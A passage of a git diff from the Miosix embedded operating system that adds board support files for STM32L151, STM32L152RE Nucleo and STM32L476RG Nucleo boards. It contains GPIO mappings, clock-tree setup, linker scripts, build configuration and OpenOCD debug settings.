b/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..089c14418 --- /dev/null +++ b/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/bsp_impl.h @@ -0,0 +1,43 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "hwmapping.h" + +namespace miosix { + +inline void ledOn() { led::high(); } +inline void ledOff() { led::low(); } + +} //namespace miosix diff --git a/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..8a80b049e --- /dev/null +++ b/miosix/arch/board/stm32l151c8_als_mainboard/interfaces-impl/hwmapping.h @@ -0,0 +1,63 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +typedef Gpio strig; +typedef Gpio button; +typedef Gpio led; +typedef Gpio hpled; +typedef Gpio sen; + +namespace nrf { +typedef Gpio irq; +typedef Gpio cs; +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +typedef Gpio ce; +} + +namespace cam { +typedef Gpio irq; +typedef Gpio en; +typedef Gpio cs; +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +} + +namespace serial { +typedef Gpio tx; +typedef Gpio rx; +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32l151c8_als_mainboard/unikernel.ld b/miosix/arch/board/stm32l151c8_als_mainboard/unikernel.ld new file mode 100644 index 000000000..c789bba63 --- /dev/null +++ b/miosix/arch/board/stm32l151c8_als_mainboard/unikernel.ld @@ -0,0 +1,20 @@ +/* + * Linker script for stm32l151 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * The chip has 10K RAM but this board is for using a legacy firmware that's + * hardcoded to use the top 2K for buffering, hence we lie to the linker script + * and tell it there's only 8K. Don't copy this hack into any other board using + * the same or a similar chip! + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 8K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32l152re_nucleo/CMakeLists.txt b/miosix/arch/board/stm32l152re_nucleo/CMakeLists.txt new file mode 100644 index 000000000..6602b6b0f --- /dev/null +++ b/miosix/arch/board/stm32l152re_nucleo/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32l152re_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32l1) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32L152RE_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32L152RE_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32l152re_nucleo/Makefile.inc b/miosix/arch/board/stm32l152re_nucleo/Makefile.inc new file mode 100644 index 000000000..2ef136bcb --- /dev/null +++ b/miosix/arch/board/stm32l152re_nucleo/Makefile.inc @@ -0,0 +1,26 @@ +## +## Makefile for board stm32l152re_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32l1 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32L152RE_NUCLEO +BOARD_CXXFLAGS := -D_BOARD_STM32L152RE_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32l152re_nucleo/boot.cpp b/miosix/arch/board/stm32l152re_nucleo/boot.cpp new file mode 100644 index 000000000..1c7dbe57b --- /dev/null +++ b/miosix/arch/board/stm32l152re_nucleo/boot.cpp @@ -0,0 +1,113 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/arch_registers.h" +#include "interfaces/gpio.h" +#include "board_settings.h" + +uint32_t SystemCoreClock=miosix::cpuFrequency; + +namespace miosix { + +/* + * Restore clocks to default configuration. On L1 chips, this means the SYSCLK + * originates from the MSI RC oscillator. + */ +void IRQresetClockTree() +{ + // Ensure MSI is turned on + RCC->CR |= RCC_CR_MSION; + // Select MSI oscillator and disable all prescalers (/1 for everything) + RCC->CFGR &= ~(RCC_CFGR_SW + | RCC_CFGR_HPRE | RCC_CFGR_PPRE1 | RCC_CFGR_PPRE2 + | RCC_CFGR_MCOSEL | RCC_CFGR_MCOPRE); + // Reset PLL configuration + RCC->CFGR &= ~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLMUL | RCC_CFGR_PLLDIV); + // Disable high speed internal (HSI) and external (HSE) oscillator, + // clock security system (CSS) and PLL + RCC->CR &= ~(RCC_CR_HSION | RCC_CR_HSEON | RCC_CR_CSSON | RCC_CR_PLLON); + while(RCC->CR & RCC_CR_PLLRDY) {} + // Now that HSE is disabled we can also disable HSE bypass safely + RCC->CR &= ~RCC_CR_HSEBYP; + // Disable all clock interrupts + RCC->CIR = 0; +} + +void IRQsetupClockTree() +{ + static_assert(hseFrequency==8000000,"Unsupported HSE frequency"); + static_assert(oscillatorType==OscillatorType::HSE + || oscillatorType==OscillatorType::HSEBYP, + "Unsupported oscillator type"); + + // Reset clock tree to initial state + IRQresetClockTree(); + + // Enable HSE + unsigned long bypass=0; + if(oscillatorType==OscillatorType::HSEBYP) bypass=RCC_CR_HSEBYP; + RCC->CR |= RCC_CR_HSEON | bypass; + while((RCC->CR & RCC_CR_HSERDY) == 0) {} + + // Configure flash: 64 bit access, prefetch, 1 wait state + FLASH->ACR |= FLASH_ACR_ACC64; + FLASH->ACR |= FLASH_ACR_PRFTEN; + FLASH->ACR |= FLASH_ACR_LATENCY; + // Configure regulator to 1.8V + RCC->APB1ENR |= RCC_APB1ENR_PWREN; + RCC_SYNC(); + PWR->CR = PWR_CR_VOS_0; + while((PWR->CSR & PWR_CSR_VOSF) != 0) ; + + unsigned long mul,div; + static_assert(cpuFrequency==32000000 + ||cpuFrequency==24000000, "unsupported sysclk"); + if(cpuFrequency==32000000) + { + mul=RCC_CFGR_PLLMUL12; + div=RCC_CFGR_PLLDIV3; + } else if(cpuFrequency==24000000) { + mul=RCC_CFGR_PLLMUL12; + div=RCC_CFGR_PLLDIV4; + } + // Configure PLL + RCC->CFGR |= (RCC_CFGR_PLLSRC_HSE | mul | div); + // Enable PLL + RCC->CR |= RCC_CR_PLLON; + while ((RCC->CR & RCC_CR_PLLRDY) == 0) ; + + // Set PLL as system clock + RCC->CFGR = (RCC->CFGR & ~RCC_CFGR_SW) | RCC_CFGR_SW_PLL; + while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL) ; +} + +void IRQmemoryAndClockInit() +{ + IRQsetupClockTree(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32l152re_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32l152re_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..184c43807 --- /dev/null +++ b/miosix/arch/board/stm32l152re_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32L152xE +#include "CMSIS/Device/ST/STM32L1xx/Include/stm32l1xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32L1xx/Include/system_stm32l1xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32l151,l152 RCC synchronization is required per the device errata +//(ES0224 section 2.2.4). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 56, so there are 57 +#define MIOSIX_NUM_PERIPHERAL_IRQ 57 diff --git a/miosix/arch/board/stm32l152re_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32l152re_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..2b161af49 --- /dev/null +++ b/miosix/arch/board/stm32l152re_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,116 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** + * bsp.cpp Part of the Miosix Embedded OS. + * Board support package, this file initializes hardware. + ************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHBENR |= RCC_AHBENR_GPIOAEN | RCC_AHBENR_GPIOBEN | + RCC_AHBENR_GPIOCEN | RCC_AHBENR_GPIODEN | + RCC_AHBENR_GPIOEEN | RCC_AHBENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to fast speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +static void tearDown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); +} + +void shutdown() +{ + tearDown(); + for(;;) ; +} + +void reboot() +{ + tearDown(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32l152re_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32l152re_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..429ccbbd7 --- /dev/null +++ b/miosix/arch/board/stm32l152re_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,55 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" + +namespace miosix { + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32l152re_nucleo/openocd.cfg b/miosix/arch/board/stm32l152re_nucleo/openocd.cfg new file mode 100644 index 000000000..2278a238a --- /dev/null +++ b/miosix/arch/board/stm32l152re_nucleo/openocd.cfg @@ -0,0 +1,11 @@ +# +# OpenOCD configuration file for in-circuit debugging of stm32 +# + +source [find interface/stlink.cfg] + +transport select hla_swd + +source [find target/stm32l1.cfg] + +reset_config srst_only \ No newline at end of file diff --git a/miosix/arch/board/stm32l152re_nucleo/processes.ld b/miosix/arch/board/stm32l152re_nucleo/processes.ld new file mode 100644 index 000000000..65f849ae8 --- /dev/null +++ b/miosix/arch/board/stm32l152re_nucleo/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32l152re_nucleo + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 48K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 80K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32l152re_nucleo/unikernel.ld b/miosix/arch/board/stm32l152re_nucleo/unikernel.ld new file mode 100644 index 000000000..c5b3e9956 --- /dev/null +++ b/miosix/arch/board/stm32l152re_nucleo/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32l152re_nucleo + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 80K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32l476rg_nucleo/CMakeLists.txt b/miosix/arch/board/stm32l476rg_nucleo/CMakeLists.txt new file mode 100644 index 000000000..90e89a713 --- /dev/null +++ b/miosix/arch/board/stm32l476rg_nucleo/CMakeLists.txt @@ -0,0 +1,35 @@ +## +## CMakeLists.txt for board stm32l476rg_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32l4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # Option 1: use the 96KB ram2 for the heap, no processes + unikernel.ld + # Option 2: use the 96KB ram2 for the process pool + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32L476RG_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32L476RG_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32l476rg_nucleo/Makefile.inc b/miosix/arch/board/stm32l476rg_nucleo/Makefile.inc new file mode 100644 index 000000000..396a219a8 --- /dev/null +++ b/miosix/arch/board/stm32l476rg_nucleo/Makefile.inc @@ -0,0 +1,26 @@ +## +## Makefile for board stm32l476rg_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32l4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32L476RG_NUCLEO +BOARD_CXXFLAGS := -D_BOARD_STM32L476RG_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32l476rg_nucleo/boot.cpp b/miosix/arch/board/stm32l476rg_nucleo/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32l476rg_nucleo/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32l476rg_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32l476rg_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..27a5279e0 --- /dev/null +++ b/miosix/arch/board/stm32l476rg_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32l4xx.h before core_cm4.h, there's some nasty dependency +#define STM32L476xx +#include "CMSIS/Device/ST/STM32L4xx/Include/stm32l4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32L4xx/Include/system_stm32l4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32l4, RCC synchronization is required per the reference manual +//(RM0432 section 6.2.18). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 81, so there are 82 +#define MIOSIX_NUM_PERIPHERAL_IRQ 82 diff --git a/miosix/arch/board/stm32l476rg_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32l476rg_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..99233b104 --- /dev/null +++ b/miosix/arch/board/stm32l476rg_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,119 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB2ENR |= RCC_AHB2ENR_GPIOAEN | RCC_AHB2ENR_GPIOBEN | + RCC_AHB2ENR_GPIOCEN | RCC_AHB2ENR_GPIODEN | + RCC_AHB2ENR_GPIOEEN | RCC_AHB2ENR_GPIOFEN | + RCC_AHB2ENR_GPIOGEN | RCC_AHB2ENR_GPIOHEN; + + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOF->OSPEEDR=0xaaaaaaaa; + GPIOG->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32l476rg_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32l476rg_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..ffe85ddbd --- /dev/null +++ b/miosix/arch/board/stm32l476rg_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/stm32l4nucleo.cfg b/miosix/arch/board/stm32l476rg_nucleo/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/stm32l4nucleo.cfg rename to miosix/arch/board/stm32l476rg_nucleo/openocd.cfg diff --git a/miosix/arch/board/stm32l476rg_nucleo/processes.ld b/miosix/arch/board/stm32l476rg_nucleo/processes.ld new file mode 100644 index 000000000..f05501e55 --- /dev/null +++ b/miosix/arch/board/stm32l476rg_nucleo/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32l476 + * For compiling Miosix as a fluid kernel. + * Uses ram1 for the kernel and kernelspace applications, ram2 for the process + * pool for userspace applications. + */ + +/* NOTE: _process_pool_size cannot be defined as all of ram2 is used */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + 